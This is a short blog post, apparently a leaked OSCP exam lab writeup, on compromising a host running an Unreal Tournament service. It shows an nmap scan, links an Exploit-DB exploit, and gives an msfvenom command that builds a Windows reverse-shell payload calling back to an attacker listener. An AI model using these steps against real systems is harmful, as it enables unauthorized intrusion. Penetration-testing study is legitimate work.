


CYB3RSICK

Bugbounty for n00bs

OSCP exam writeups

 @CYB3RSICK

## Posts

# 192.168.x.53 – unreal tournament machine writeup

Scan ports using nmap

nmap 192.168.x.53 -Pn			
PORT	STATE	SERVICE	REASON
.....			
6666/tcp	open	irc	syn-ack ttl 128
6667/tcp	open	irc	syn-ack ttl 128
6668/tcp	open	irc	syn-ack ttl 128
6669/tcp	open	irc	syn-ack ttl 128
6689/tcp	open	tsa	syn-ack ttl 128
.....			
7001/tcp	open	afs3-callback	syn-ack ttl 128
7007/tcp	open	afs3-bos	syn-ack ttl 128

You will find IRC port accessible , connect to it using IRC client you will find message stating that there is unreal tournament service running at port 7778 UDP

Use this exploit <https://www.exploit-db.com/exploits/16145/>

and replace the shell code with the output of

```
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.x.x36.31 LPORT=1111 EXITFUNC=thread -f perl -e x86/alpha_mixed
```

start Metasploit listener and launch the exploit and you’re done

[← 192.168.x.55 – Admin-pc machine writeup](#) [192.168.x.55 – UCAL Machine writeup →](#)

LEAVE A REPLY

### RECENT POSTS

- [Protected: OSCP cheaters list](#)
- [02 – From n00b to h4x0r via clickjacking](#)
- [192.168.x.67 – OFFENSIV-W2K3 machine writeup](#)
- [192.168.x.55 – UCAL Machine writeup](#)
- [192.168.x.53 – unreal tournament machine writeup](#)

### ARCHIVES

- [February 2019](#)
- [January 2019](#)